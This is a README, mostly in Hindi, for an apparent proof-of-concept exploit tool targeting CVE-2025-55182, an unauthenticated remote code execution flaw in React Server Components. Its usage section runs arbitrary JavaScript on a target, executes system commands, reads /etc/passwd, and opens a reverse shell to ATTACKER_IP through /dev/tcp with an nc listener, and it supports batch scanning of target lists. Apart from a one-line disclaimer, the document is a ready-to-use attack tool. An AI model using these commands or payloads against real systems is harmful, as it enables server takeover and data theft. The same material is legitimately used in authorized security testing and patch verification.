
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
React Server Components (RSC) के लिए रिमोट कोड एक्ज़ीक्यूशन स्कैनर
| भूमिका | नाम | लिंक |
|---|---|---|
| मूल शोध | Lachlan Davidson | github.com/lachlan2k |
मूल PoC पर आधारित: React2Shell-CVE-2025-55182-original-poc
React2Shell CVE-2025-55182 के लिए एक व्यापक सुरक्षा स्कैनर है, जो React Server Components (RSC) इम्प्लीमेंटेशन को प्रभावित करने वाली एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। यह भेद्यता अनऑथेंटिकेटेड हमलावरों को React Flight प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन के माध्यम से सर्वर पर मनमाना JavaScript कोड निष्पादित करने की अनुमति देती है।
# रिपॉजिटरी क्लोन करें
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# डिपेंडेंसी इंस्टॉल करें
pip install requests
# स्कैनर चलाएँ
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
भेद्य React और फ्रेमवर्क वर्जन का निष्क्रिय रूप से पता लगाता है:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)कई तकनीकों और सभी 4 पेलोड वेरिएंट का उपयोग करके RCE की सक्रिय रूप से पुष्टि करता है:
# बुनियादी सत्यापन (डाइजेस्ट विविधता)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# समय-आधारित सत्यापन के साथ
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# OOB कॉलबैक के साथ (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# विस्तृत आउटपुट के साथ पूर्ण सत्यापन
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)मनमाना JavaScript पेलोड निष्पादित करें:
# Node.js वर्जन प्राप्त करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# सिस्टम कमांड निष्पादित करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# फ़ाइल पढ़ें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)किसी फ़ाइल से कई URL स्कैन करें और केवल भेद्य लक्ष्य दिखाएं:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# वर्जन डिटेक्शन (डिफ़ॉल्ट मोड)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# RCE सत्यापन
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# कई लक्ष्यों का बैच स्कैन
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# विस्तृत आउटपुट
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# समय-आधारित + OOB सत्यापन
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# सर्वर जानकारी निकालें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# कमांड निष्पादित करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# लिसनर प्रारंभ करें
nc -lvnp 443
# रिवर्स शेल निष्पादित करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
| आर्गुमेंट | विवरण |
|---|
-t, --target | लक्ष्य URL (जैसे, https://example.com) |
-f, --file | बैच स्कैनिंग के लिए URL की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
-m, --mode | स्कैन मोड: version (डिफ़ॉल्ट), verify, या custom |
--js | कस्टम मोड के लिए JavaScript कोड |
--extract | स्ट्रिंग परिणाम को कैरेक्टर-दर-कैरेक्टर निकालें |
--sleep SECONDS | समय-आधारित RCE सत्यापन (verify मोड) |
--callback URL | OOB टेस्टिंग के लिए HTTP कॉलबैक URL (verify मोड) |
--dns DOMAIN | OOB टेस्टिंग के लिए DNS कॉलबैक डोमेन (verify मोड) |
-v, --verbose | पेलोड विवरण के साथ विस्तृत आउटपुट |
--no-color | रंगीन आउटपुट अक्षम करें |
--timeout SECONDS | HTTP अनुरोध टाइमआउट (डिफ़ॉल्ट: 30) |